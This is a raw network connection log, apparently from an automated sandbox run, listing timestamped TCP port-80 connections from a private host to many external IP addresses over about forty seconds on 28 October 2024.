Oct 28, 2024 16:50:46.822643042 CET	49947	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:46.822643995 CET	49947	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:46.822664022 CET	49947	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:46.828026056 CET	80	49947	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:46.828378916 CET	80	49947	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:48.250859976 CET	80	49947	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:48.254626036 CET	49947	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:48.261055946 CET	80	49947	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:48.262475967 CET	49947	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:48.577675104 CET	49958	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:48.585434914 CET	80	49958	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:48.585516930 CET	49958	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:48.585644007 CET	49958	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:48.585679054 CET	49958	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:48.594429016 CET	80	49958	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:48.596414089 CET	80	49958	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:49.261387110 CET	80	49958	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:49.261446953 CET	49958	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:49.261475086 CET	49958	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:49.267091990 CET	80	49958	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:49.295913935 CET	49960	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:49.301700115 CET	80	49960	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:49.301812887 CET	49960	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:49.301923990 CET	49960	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:49.302012920 CET	49960	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:49.307583094 CET	80	49960	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:49.307919025 CET	80	49960	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:49.966682911 CET	80	49960	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:49.966742992 CET	49960	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:49.966779947 CET	49960	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:49.972404003 CET	80	49960	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:50.199840069 CET	49966	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:50:50.205981970 CET	80	49966	34.246.200.160	192.168.2.5
Oct 28, 2024 16:50:50.206052065 CET	49966	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:50:50.206497908 CET	49966	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:50:50.206515074 CET	49966	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:50:50.211904049 CET	80	49966	34.246.200.160	192.168.2.5
Oct 28, 2024 16:50:50.212007999 CET	80	49966	34.246.200.160	192.168.2.5
Oct 28, 2024 16:50:51.183917046 CET	80	49966	34.246.200.160	192.168.2.5
Oct 28, 2024 16:50:51.184058905 CET	49966	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:50:51.190176964 CET	80	49966	34.246.200.160	192.168.2.5
Oct 28, 2024 16:50:51.190756083 CET	49966	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:50:51.444209099 CET	49975	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:50:51.454504013 CET	80	49975	18.208.156.248	192.168.2.5
Oct 28, 2024 16:50:51.454588890 CET	49975	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:50:51.454699993 CET	49975	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:50:51.454727888 CET	49975	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:50:51.460031033 CET	80	49975	18.208.156.248	192.168.2.5
Oct 28, 2024 16:50:51.462235928 CET	80	49975	18.208.156.248	192.168.2.5
Oct 28, 2024 16:50:52.157196045 CET	80	49975	18.208.156.248	192.168.2.5
Oct 28, 2024 16:50:52.159600019 CET	49975	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:50:52.166217089 CET	80	49975	18.208.156.248	192.168.2.5
Oct 28, 2024 16:50:52.168240070 CET	49975	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:50:52.407610893 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:50:52.413237095 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:50:52.413324118 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:50:52.413630962 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:50:52.416934967 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:50:52.419830084 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:50:52.422518015 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:50:53.053874969 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:50:53.100056887 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:50:53.114195108 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:50:53.114228010 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:50:53.119899035 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:50:53.120564938 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:50:53.261414051 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:50:53.303181887 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:50:53.517707109 CET	49988	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:53.524059057 CET	80	49988	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:53.524125099 CET	49988	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:53.524434090 CET	49988	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:53.524463892 CET	49988	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:53.531145096 CET	80	49988	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:53.531297922 CET	80	49988	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:54.967310905 CET	80	49988	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:55.021984100 CET	49988	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:55.236541033 CET	49988	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:55.242669106 CET	80	49988	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:55.242739916 CET	49988	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:55.579216003 CET	49999	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:55.584670067 CET	80	49999	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:55.584757090 CET	49999	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:55.584899902 CET	49999	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:55.584944963 CET	49999	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:55.590202093 CET	80	49999	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:55.590523005 CET	80	49999	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:56.242321968 CET	80	49999	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:56.242496014 CET	49999	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:56.248431921 CET	80	49999	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:56.248485088 CET	49999	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:56.585720062 CET	50001	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:56.591531992 CET	80	50001	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:56.591603041 CET	50001	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:56.591741085 CET	50001	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:56.591767073 CET	50001	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:56.597045898 CET	80	50001	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:56.597237110 CET	80	50001	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:57.420901060 CET	80	50001	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:57.422483921 CET	50001	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:57.429373980 CET	80	50001	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:57.429524899 CET	50001	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:57.629160881 CET	50002	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:50:57.634867907 CET	80	50002	35.164.78.200	192.168.2.5
Oct 28, 2024 16:50:57.634943962 CET	50002	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:50:57.635310888 CET	50002	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:50:57.635310888 CET	50002	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:50:57.640737057 CET	80	50002	35.164.78.200	192.168.2.5
Oct 28, 2024 16:50:57.641072035 CET	80	50002	35.164.78.200	192.168.2.5
Oct 28, 2024 16:50:58.464307070 CET	80	50002	35.164.78.200	192.168.2.5
Oct 28, 2024 16:50:58.464459896 CET	50002	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:50:58.470917940 CET	80	50002	35.164.78.200	192.168.2.5
Oct 28, 2024 16:50:58.470977068 CET	50002	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:50:58.650193930 CET	50003	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:50:58.655752897 CET	80	50003	3.94.10.34	192.168.2.5
Oct 28, 2024 16:50:58.655831099 CET	50003	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:50:58.655952930 CET	50003	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:50:58.655973911 CET	50003	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:50:58.661371946 CET	80	50003	3.94.10.34	192.168.2.5
Oct 28, 2024 16:50:58.662031889 CET	80	50003	3.94.10.34	192.168.2.5
Oct 28, 2024 16:50:59.331190109 CET	80	50003	3.94.10.34	192.168.2.5
Oct 28, 2024 16:50:59.331358910 CET	50003	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:50:59.362253904 CET	80	50003	3.94.10.34	192.168.2.5
Oct 28, 2024 16:50:59.362346888 CET	50003	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:50:59.540299892 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:50:59.545811892 CET	80	50004	165.160.15.20	192.168.2.5
Oct 28, 2024 16:50:59.545896053 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:50:59.546041965 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:50:59.546065092 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:50:59.551646948 CET	80	50004	165.160.15.20	192.168.2.5
Oct 28, 2024 16:50:59.551661015 CET	80	50004	165.160.15.20	192.168.2.5
Oct 28, 2024 16:51:00.382225990 CET	80	50004	165.160.15.20	192.168.2.5
Oct 28, 2024 16:51:00.428179026 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:51:00.437275887 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:51:00.437294960 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:51:00.448057890 CET	80	50004	165.160.15.20	192.168.2.5
Oct 28, 2024 16:51:00.448488951 CET	80	50004	165.160.15.20	192.168.2.5
Oct 28, 2024 16:51:00.682236910 CET	80	50004	165.160.15.20	192.168.2.5
Oct 28, 2024 16:51:00.725114107 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:51:00.968503952 CET	50005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:00.974374056 CET	80	50005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:00.974488020 CET	50005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:00.974608898 CET	50005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:00.974636078 CET	50005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:00.980513096 CET	80	50005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:00.980612040 CET	80	50005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:01.809478998 CET	80	50005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:01.809628010 CET	50005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:01.815592051 CET	80	50005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:01.815653086 CET	50005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:01.995723009 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:01.995769978 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:02.001490116 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:02.001935959 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:02.143939018 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:02.193809986 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:02.414597988 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:02.414647102 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:02.420641899 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:02.420984983 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:02.560302973 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:02.615686893 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:02.850526094 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:02.854074001 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:03.263294935 CET	50006	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:03.268903971 CET	80	50006	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:03.271256924 CET	50006	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:03.271425962 CET	50006	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:03.271425962 CET	50006	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:03.276854992 CET	80	50006	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:03.277031898 CET	80	50006	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:04.090595961 CET	80	50006	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:04.090764999 CET	50006	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:04.096494913 CET	80	50006	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:04.096559048 CET	50006	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:04.372339964 CET	50007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:04.378273010 CET	80	50007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:04.378372908 CET	50007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:04.378541946 CET	50007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:04.378563881 CET	50007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:04.384584904 CET	80	50007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:04.384603024 CET	80	50007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:05.209378004 CET	80	50007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:05.209666014 CET	50007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:05.215711117 CET	80	50007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:05.215771914 CET	50007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:05.412173986 CET	50008	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:05.417829990 CET	80	50008	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:05.417917013 CET	50008	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:05.418046951 CET	50008	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:05.418077946 CET	50008	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:05.423675060 CET	80	50008	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:05.423703909 CET	80	50008	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:06.862579107 CET	80	50008	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:06.865269899 CET	50008	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:06.871841908 CET	80	50008	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:06.871906042 CET	50008	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:07.204108000 CET	50009	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:07.209656954 CET	80	50009	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:07.209736109 CET	50009	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:07.212038994 CET	50009	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:07.212064028 CET	50009	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:07.220459938 CET	80	50009	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:07.220506907 CET	80	50009	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:07.875771999 CET	80	50009	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:07.875926971 CET	50009	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:07.881954908 CET	80	50009	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:07.882020950 CET	50009	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:08.490485907 CET	50010	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:08.496232986 CET	80	50010	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:08.496329069 CET	50010	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:08.496460915 CET	50010	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:08.496480942 CET	50010	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:08.501792908 CET	80	50010	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:08.501849890 CET	80	50010	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:09.173051119 CET	80	50010	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:09.173209906 CET	50010	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:09.179105997 CET	80	50010	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:09.179219007 CET	50010	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:09.636010885 CET	50011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:09.642227888 CET	80	50011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:09.642328978 CET	50011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:09.642513990 CET	50011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:09.642548084 CET	50011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:09.648303032 CET	80	50011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:09.648358107 CET	80	50011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:11.084306002 CET	80	50011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:11.084531069 CET	50011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:11.090543985 CET	80	50011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:11.090629101 CET	50011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:11.337100983 CET	50012	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:11.342876911 CET	80	50012	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:11.342967033 CET	50012	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:11.343101978 CET	50012	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:11.343113899 CET	50012	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:11.348627090 CET	80	50012	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:11.349010944 CET	80	50012	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:12.182885885 CET	80	50012	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:12.183078051 CET	50012	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:12.188936949 CET	80	50012	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:12.189034939 CET	50012	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:12.516199112 CET	50013	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:12.521806955 CET	80	50013	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:12.521959066 CET	50013	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:12.522211075 CET	50013	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:12.522242069 CET	50013	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:12.527674913 CET	80	50013	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:12.528022051 CET	80	50013	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:13.197910070 CET	80	50013	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:13.198116064 CET	50013	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:13.203970909 CET	80	50013	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:13.204057932 CET	50013	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:13.846252918 CET	50014	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:13.852727890 CET	80	50014	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:13.852823973 CET	50014	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:13.852926970 CET	50014	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:13.852967024 CET	50014	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:13.858378887 CET	80	50014	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:13.858830929 CET	80	50014	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:15.280266047 CET	80	50014	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:15.280431986 CET	50014	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:15.286379099 CET	80	50014	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:15.286448956 CET	50014	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:15.472522020 CET	50015	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:15.481498003 CET	80	50015	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:15.481709003 CET	50015	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:15.481921911 CET	50015	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:15.481982946 CET	50015	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:15.491166115 CET	80	50015	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:15.493185997 CET	80	50015	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:16.914385080 CET	80	50015	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:16.914573908 CET	50015	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:16.920790911 CET	80	50015	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:16.920871973 CET	50015	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:17.130873919 CET	50017	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:17.136302948 CET	80	50017	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:17.136389971 CET	50017	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:17.136723042 CET	50017	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:17.136785030 CET	50017	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:17.142052889 CET	80	50017	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:17.142461061 CET	80	50017	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:19.021253109 CET	80	50017	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:19.021730900 CET	80	50017	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:19.021780014 CET	80	50017	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:19.021785021 CET	50017	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:19.021820068 CET	50017	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:19.022437096 CET	80	50017	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:19.022655964 CET	50017	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:19.023762941 CET	80	50017	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:19.023834944 CET	50017	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:19.037400007 CET	50017	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:19.042891979 CET	80	50017	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:19.108433962 CET	50018	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:19.113991976 CET	80	50018	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:19.114672899 CET	50018	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:19.114883900 CET	50018	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:19.114939928 CET	50018	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:19.120311975 CET	80	50018	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:19.120884895 CET	80	50018	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:20.666467905 CET	80	50018	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:20.666650057 CET	50018	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:20.673067093 CET	80	50018	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:20.673557043 CET	50018	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:20.703788996 CET	50019	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:20.709381104 CET	80	50019	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:20.711036921 CET	50019	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:20.711174965 CET	50019	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:20.711263895 CET	50019	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:20.716506004 CET	80	50019	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:20.716991901 CET	80	50019	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:22.141578913 CET	80	50019	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:22.144809961 CET	50019	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:22.150841951 CET	80	50019	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:22.150904894 CET	50019	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:22.346263885 CET	50020	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:22.354748964 CET	80	50020	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:22.354898930 CET	50020	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:22.354965925 CET	50020	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:22.354965925 CET	50020	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:22.360719919 CET	80	50020	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:22.361440897 CET	80	50020	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:23.198287964 CET	80	50020	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:23.198988914 CET	50020	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:23.205466032 CET	80	50020	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:23.205547094 CET	50020	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:23.216891050 CET	50021	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:23.224289894 CET	80	50021	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:23.224378109 CET	50021	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:23.225449085 CET	50021	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:23.225483894 CET	50021	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:23.233726025 CET	80	50021	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:23.236042023 CET	80	50021	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:23.939027071 CET	80	50021	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:23.974530935 CET	80	50021	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:23.974620104 CET	50021	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:24.170933962 CET	50021	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:24.176650047 CET	80	50021	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:24.190937996 CET	50022	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:24.196732044 CET	80	50022	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:24.196805000 CET	50022	80	192.168.2.5	18.246.231.120
